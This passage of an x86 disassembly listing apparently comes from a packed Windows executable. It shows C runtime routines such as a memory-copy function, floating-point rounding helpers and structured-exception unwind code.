loc_41CC74:				; DATA XREF: sub_41C9B0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CC87:				; CODE XREF: sub_41C9B0+1C2j
					; DATA XREF: sub_41C9B0:off_41CC40o
		jmp	off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CC90	dd offset loc_41CCA0	; DATA XREF: sub_41C9B0+1B7r
					; sub_41C9B0:loc_41CB94r ...
		dd offset loc_41CCA8
		dd offset loc_41CCB8
		dd offset loc_41CCCC
; ---------------------------------------------------------------------------


loc_41CCA0:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CCA8:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CCB8:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CCCC:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
sub_41C9B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CCE5(double)

sub_41CCE5	proc near		; CODE XREF: sub_40D1F5+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43D5B0
		call	sub_421E89
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CD6B
		call	sub_421D51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CD4E
		cmp	eax, 2
		jle	short loc_41CD40
		cmp	eax, 3
		jnz	short loc_41CD4E
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421661
		add	esp, 10h
		jmp	short loc_41CDB0
; ---------------------------------------------------------------------------


loc_41CD40:				; CODE XREF: sub_41CCE5+3Fj
		push	esi
		push	ebx
		call	sub_421E89
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CDB0
; ---------------------------------------------------------------------------


loc_41CD4E:				; CODE XREF: sub_41CCE5+3Aj
					; sub_41CCE5+44j
		fld	[ebp+arg_0]
		fadd	dbl_428700
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41CDA8
; ---------------------------------------------------------------------------


loc_41CD6B:				; CODE XREF: sub_41CCE5+2Fj
		call	sub_421D16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CD8E


loc_41CD80:				; CODE XREF: sub_41CCE5+ACj
		push	esi
		push	ebx
		call	sub_421E89
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CDB0
; ---------------------------------------------------------------------------


loc_41CD8E:				; CODE XREF: sub_41CCE5+99j
		test	bl, 20h
		jnz	short loc_41CD80
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41CDA8:				; CODE XREF: sub_41CCE5+84j
		call	sub_4216B4
		add	esp, 1Ch


loc_41CDB0:				; CODE XREF: sub_41CCE5+59j
					; sub_41CCE5+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CCE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDB4	proc near		; CODE XREF: sub_41BDF4+9p
					; sub_421F52+21p
					; DATA XREF: ...
		call	sub_41CDCC
		call	sub_421F52
		mov	dword_4DE618, eax
		call	sub_421F02
		fnclex
		retn
sub_41CDB4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41CDCC	proc near		; CODE XREF: sub_41CDB4p
		mov	eax, offset sub_422340
		mov	off_43FBC4, offset sub_421FD5
		mov	off_43FBC0, eax
		mov	off_43FBC8, offset sub_42203B
		mov	off_43FBCC, offset sub_421F7B
		mov	off_43FBD0, offset sub_422023
		mov	off_43FBD4, eax
		retn
sub_41CDCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE04	proc near		; CODE XREF: sub_40D1F5+1Bp
					; sub_40D1F5+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41CE04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CE2B(double)

sub_41CE2B	proc near		; CODE XREF: sub_40D241+83p
					; sub_40EA40+3AEp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43D5C8
		call	sub_421E89
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CEB1
		call	sub_421D51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CE94
		cmp	eax, 2
		jle	short loc_41CE86
		cmp	eax, 3
		jnz	short loc_41CE94
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421661
		add	esp, 10h
		jmp	short loc_41CEF6
; ---------------------------------------------------------------------------


loc_41CE86:				; CODE XREF: sub_41CE2B+3Fj
		push	esi
		push	ebx
		call	sub_421E89
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CEF6
; ---------------------------------------------------------------------------


loc_41CE94:				; CODE XREF: sub_41CE2B+3Aj
					; sub_41CE2B+44j
		fld	[ebp+arg_0]
		fadd	dbl_428700
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41CEEE
; ---------------------------------------------------------------------------


loc_41CEB1:				; CODE XREF: sub_41CE2B+2Fj
		call	sub_421D16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CED4


loc_41CEC6:				; CODE XREF: sub_41CE2B+ACj
		push	esi
		push	ebx
		call	sub_421E89
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CEF6
; ---------------------------------------------------------------------------


loc_41CED4:				; CODE XREF: sub_41CE2B+99j
		test	bl, 20h
		jnz	short loc_41CEC6
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41CEEE:				; CODE XREF: sub_41CE2B+84j
		call	sub_4216B4
		add	esp, 1Ch


loc_41CEF6:				; CODE XREF: sub_41CE2B+59j
					; sub_41CE2B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CE2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEFA	proc near		; CODE XREF: sub_4227B1+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41CEFA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41CF2E	proc near		; CODE XREF: sub_422962+199p
					; sub_422B26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41CF2E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CF35	proc near		; CODE XREF: sub_422962+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41CF35	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF3C	proc near		; CODE XREF: sub_41D0EE+5Cp
					; sub_4227B1:loc_4227E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41CF64
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426E06	; RtlUnwind


loc_41CF64:				; DATA XREF: sub_41CF3C+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41CF3C	endp

; ---------------------------------------------------------------------------


loc_41CF8B:				; CODE XREF: .XPack0:00427530j
					; .XPack0:0042754Dj ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4223B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFC1	proc near		; CODE XREF: sub_42282C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D015
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422BB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41CFC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D015	proc near		; DATA XREF: sub_41CFC1+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4223B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D015	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D03A	proc near		; CODE XREF: sub_4225F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D0EE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D0C0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DE674
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D0C0:				; DATA XREF: sub_41D03A+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D0DD
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D0E6
; ---------------------------------------------------------------------------


loc_41D0DD:				; CODE XREF: sub_41D03A+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D0E6:				; CODE XREF: sub_41D03A+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D03A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0EE	proc near		; DATA XREF: sub_41D03A+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D111
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D15E
; ---------------------------------------------------------------------------


loc_41D111:				; CODE XREF: sub_41D0EE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4223B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D14F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CF3C


loc_41D14F:				; CODE XREF: sub_41D0EE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D15E:				; CODE XREF: sub_41D0EE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D0EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D163	proc near		; CODE XREF: sub_422451+C6p
					; sub_4225F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D1BA


loc_41D181:				; CODE XREF: sub_41D163+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D18B
		call	sub_422C52


loc_41D18B:				; CODE XREF: sub_41D163+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D1A0
		cmp	ecx, [eax+8]
		jle	short loc_41D1A5


loc_41D1A0:				; CODE XREF: sub_41D163+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D1B1


loc_41D1A5:				; CODE XREF: sub_41D163+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D1B1:				; CODE XREF: sub_41D163+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D181
		mov	eax, [ebp+var_4]


loc_41D1BA:				; CODE XREF: sub_41D163+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D1CE
		cmp	esi, eax
		jbe	short loc_41D1D3


loc_41D1CE:				; CODE XREF: sub_41D163+65j
		call	sub_422C52


loc_41D1D3:				; CODE XREF: sub_41D163+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D163	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1E0	proc near		; CODE XREF: sub_423B80+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41D1F8
		push	[ebp+arg_0]
		call	sub_426E06	; RtlUnwind


loc_41D1F8:				; DATA XREF: sub_41D1E0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D1E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D200	proc near		; DATA XREF: sub_41D222+Ao
					; sub_41D28A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D221
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D221:				; CODE XREF: sub_41D200+10j
		retn
sub_41D200	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D222	proc near		; CODE XREF: sub_4228D2+Dp
					; sub_423B80+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D200
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D23F:				; CODE XREF: sub_41D222:loc_41D27Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D27C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D27C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D27A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D2B6
		call	dword ptr [ebx+esi*4+8]


loc_41D27A:				; CODE XREF: sub_41D222+44j
		jmp	short loc_41D23F
; ---------------------------------------------------------------------------


loc_41D27C:				; CODE XREF: sub_41D222+2Aj
					; sub_41D222+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D222	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D28A	proc near		; CODE XREF: sub_4228F2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D200
		jnz	short locret_41D2AC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D2AC
		mov	eax, 1

locret_41D2AC:				; CODE XREF: sub_41D28A+10j
					; sub_41D28A+1Bj
		retn
sub_41D28A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D2AD	proc near		; CODE XREF: sub_422BB0+1Ep
					; sub_422BB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43D5CC
		jmp	short loc_41D2C0
sub_41D2AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D2B6	proc near		; CODE XREF: sub_41D222+4Fp
					; sub_423B80+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43D5CC
		mov	ecx, [ebp+8]


loc_41D2C0:				; CODE XREF: sub_41D2AD+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D2B6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D2D0	proc near		; CODE XREF: sub_40D241+5p
					; sub_40D3E0+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D2D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2EF	proc near		; CODE XREF: sub_40D873+22p
					; .XPack0:00426BA2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B721
		pop	ecx
		retn
sub_41D2EF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D300	proc near		; CODE XREF: sub_40D8E0+3Ap
					; sub_41E542+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D320
		cmp	edi, eax
		jb	loc_41D498


loc_41D320:				; CODE XREF: sub_41D300+16j
		test	edi, 3
		jnz	short loc_41D33C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D35C
		rep movsd
		jmp	off_41D448[edx*4]
; ---------------------------------------------------------------------------


loc_41D33C:				; CODE XREF: sub_41D300+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D354
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D35C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D354:				; CODE XREF: sub_41D300+46j
		jmp	dword ptr loc_41D458[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D35C:				; CODE XREF: sub_41D300+31j
					; sub_41D300+8Ej ...
		jmp	off_41D3DC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D370
		dd offset loc_41D39C
		dd offset loc_41D3C0
; ---------------------------------------------------------------------------


loc_41D370:				; DATA XREF: sub_41D300+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D35C
		rep movsd
		jmp	off_41D448[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D39C:				; DATA XREF: sub_41D300+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D35C
		rep movsd
		jmp	off_41D448[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D3C0:				; DATA XREF: sub_41D300+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D35C
		rep movsd
		jmp	off_41D448[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D3DC	dd offset loc_41D43F	; DATA XREF: sub_41D300:loc_41D35Cr
		dd offset loc_41D42C
		dd offset loc_41D424
		dd offset loc_41D41C
		dd offset loc_41D414
		dd offset loc_41D40C
		dd offset loc_41D404
		dd offset loc_41D3FC
; ---------------------------------------------------------------------------


loc_41D3FC:				; CODE XREF: sub_41D300:loc_41D35Cj
					; DATA XREF: sub_41D300+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D404:				; CODE XREF: sub_41D300:loc_41D35Cj
					; DATA XREF: sub_41D300+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D40C:				; CODE XREF: sub_41D300:loc_41D35Cj
					; DATA XREF: sub_41D300+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D414:				; CODE XREF: sub_41D300:loc_41D35Cj
					; DATA XREF: sub_41D300+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D41C:				; CODE XREF: sub_41D300:loc_41D35Cj
					; DATA XREF: sub_41D300+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D424:				; CODE XREF: sub_41D300:loc_41D35Cj
					; DATA XREF: sub_41D300+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D42C:				; CODE XREF: sub_41D300:loc_41D35Cj
					; DATA XREF: sub_41D300+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D43F:				; CODE XREF: sub_41D300:loc_41D35Cj
					; DATA XREF: sub_41D300:off_41D3DCo
		jmp	off_41D448[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D448	dd offset loc_41D458	; DATA XREF: sub_41D300+35r
					; sub_41D300+92r ...
		dd offset loc_41D460
		dd offset loc_41D46C
		dd offset loc_41D480
; ---------------------------------------------------------------------------


loc_41D458:				; CODE XREF: sub_41D300+35j
					; sub_41D300+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D460:				; CODE XREF: sub_41D300+35j
					; sub_41D300+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


